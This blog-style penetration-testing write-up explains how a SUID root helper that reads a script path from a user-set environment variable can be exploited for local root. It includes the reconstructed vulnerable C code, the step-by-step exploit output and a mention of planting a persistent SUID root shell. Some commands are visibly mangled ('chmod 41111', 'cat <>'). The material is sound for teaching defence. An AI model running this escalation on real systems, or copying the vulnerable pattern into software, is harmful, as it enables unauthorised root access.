We have all heard the cautionary stories about UNIX SUID executables and how we should be careful when coding them because they can provide an easy route to root (pun intended). Unfortunately not everybody fully understands this and I have got root a couple of times through ill thought out SUID executables.
I had one of these in a recent test and thought I’d share how easy it is to exploit. Due to the customer I can’t show any screenshots without a massive redaction pen which would remove all useful information; so, instead I mocked up a close mirror of the environment on a virtual machine.
There will be some differences: I changed the names of the variables and executables. I also put my environment on Linux, not on Tru64 UNIX as in the original example.
What is SUID?
“What is SUID?” I hear you (especially you Windows guys) cry? In essence, it’s a way in UNIX-like operating systems of running a command as another user without providing credentials. When an executable file is run, the kernel checks its file permissions and, if it sees a bit (known as the SUID bit) on the file, it sets the effective user id of the resultant process to the owner of the file. There is also an equivalent sgid bit for running as other groups.
A good example of why you’d want to do this, is the passwd command, which needs to do things that the user who is changing password can’t directly do themselves.
The SUID bit can be seen on a file by looking at its permission string:
[terminal]$ ls -l /usr/bin/sudo
—s–x–x 1 root root 147044 Sep 30 2013 /usr/bin/sudo
That ‘s’ in place of the usual ‘x’ on the user permissions shows that the file has had SUID set; similarly an ‘s’ in the place of the ‘x’ on group permissions shows that the file has SGID set. If it showed an ‘S’ then this would show suid without executable being set.
In the octal chmod strings, this is represented by an extra digit at the start, which maps the suid, sgid and sticky bits. So the permissions of /usr/bin/sudo above could be signified by the octal numbers 4111 and could be set through chmod:
chmod 41111 /usr/bin/sudo
The most obvious example of SUID is in the sudo program – this is SUID root, so allows some users to run commands as root (or any other user) depending on its configuration.
The flaw with SUID executables should be obvious: what if the coder hasn’t done a good job and there’s a vulnerability in it? Then, if you can exploit it, you can run code with an effective user id of root (and once euid is set you can change your real uid) and it’s basically game over.
Of special note, especially to this situation, is the status of SUID and shell scripts: on most modern (i.e. this millennium) shell interpreters, when they are used they will drop privileges and never run at the higher privilege. This is to minimise the risks from the file being edited.
The Situation
On this UNIX host I came across an unusual SUID executable called ‘cpw’, an application management directory with world executable privileges. As every SUID executable offers a potential vector to escalate privilege, I spent some extra time analysing it.
What I’m looking for is to try and get it to run code that I can control; there are several mechanisms for this which I can look at to see whether it is vulnerable, in order of ease of exploit:
1.Look for unsanitised command line parameters directly passed to a system() call
2.Look for unsanitised PATH variables directly passed to a system() call
3.Look for unchecked data being loaded directly into static buffers
4.Look for unchecked data being loaded directly into a heap buffer
The quickest way of assessing an executable for 1 or 2 is to simply to look for strings in the executable that indicate the behaviour I’m expecting. So, I performed this step, as shown below. Note that these strings are from my attempt to mock it up on a different environment:
[terminal]$ strings cpw
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
setuid
exit
sprintf
strlen
malloc
system
strsep
strcmp
__libc_start_main
GLIBC_2.0
PTRh
[^_]
ADMIN_PATH
%s/changepw
;*2$”
I’ve highlighted two strings. The first looks suspiciously like an environment variable that is meant to be set in the profile of the application administrators. The second looks like a call to system that is calling another executable or script.
Sure enough there was a shell script called changepw in the same directory:
-rwxrwxr-x 1 dave dave 62 Jan 21 12:41 changepw
[terminal]$ file changepw
changepw: Bourne-Again shell script, ASCII text executable
Remember in my intro I mentioned that shell scripts can’t be run with the SUID flag as the interpreter with drop privileges? This gives us some motivation for the purpose of the “cpw” executable: it’s just used to run the changepw script as root. The script itself was designed to change passwords for users.
But it seems to run the changepw script from a path passed as an environment variable (ADMIN_PATH). This indicated to me that the source code would be similar to the below (this is a guess based on the small size and behaviour):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>int main(int argc, char **argv, char **env)
{
int i=0;
char *cmd;while (env[i] != NULL)
{
if (!strcmp(strsep(&env[i],”=”),”ADMIN_PATH”))
{
cmd=malloc(strlen(env[i])+20);
if (cmd==NULL) exit(1);
sprintf(cmd,”%s/changepw”,env[i]);
setuid(0);
system(cmd);
}
i++;
}
}
Which in essence reads ADMIN_PATH from the environment, then uses it as a path to execute the changepw shell script as the root user.
The Problem
Can you see it? I’ll give you a hint: the person running the initial code owns the environment.
Yes, the person executing cpw can control the value of ADMIN_PATH. So if this is set to the value of the directory changepw is in then it all works as planned; but what if I create a dodgy changepw in /tmp, set ADMIN_PATH to /tmp and then run cpw?
I’ll tell you: it runs the changepw in /tmp as the root user, allowing me to run custom code as the root user.
Let me show you what I mean with my mock up:
[terminal]$ ls -l
total 16
-rwxrwxr-x 1 dave dave 62 Jan 21 12:41 changepw
-r-sr-sr-x 1 root root 7561 Feb 6 15:55 cpw
-rw-rw-r– 1 dave dave 430 Jan 22 13:21 cpw.c
[dave@jotunheim suid-test]$ ./changepw
Dummy password changer
I am: uid=1000(dave) gid=1000(dave) groups= 1000(dave),10(wheel)
[dave@jotunheim suid-test]$ export ADMIN_PATH=/home/dave/suid-test
[dave@jotunheim suid-test]$ ./cpw
Dummy password changer
I am: uid=0(root) gid=1000(dave) groups=0(root),10(wheel),1000(dave)
So we can see if I run changepw as me then it returns my valid uid. If we run it though cpw then it shows that I’ve become root.
Now, let’s set up a dummy changepw in /tmp and change ADMIN_PATH:
[terminal]$ cat <>/tmp/changepw
> echo “This is my dodgy shell script showing that I should be root:”
> id
> EOF
[terminal]$ chmod 0555 /tmp/changepw
[terminal]$ /tmp/changepw
This is my dodgy shell script showing that I should be root:
uid= 1000(dave)
gid=1000(dave) groups=1000(dave),10(wheel)
[terminal]$ export ADMIN_PATH=/tmp
[terminal]$ ./cpw
This is my dodgy shell script showing that I should be root:
uid= 0(root)
gid=1000(dave) groups=0(root),10(wheel),1000(dave)
And now I can run any command I want as root. I exploited this in the real situation, by using a shell script to copy /bin/sh to /tmp and setting the SUID flag on it to give me a persistent root shell.
Conclusion
SUID is dangerous to use unless you know exactly what you’re doing. If you need to run utilities as a privileged user, then look at role based solutions such as sudo which are mature and well supported.
Do not be tempted to roll your own SUID or SGID utilities unless you really have to.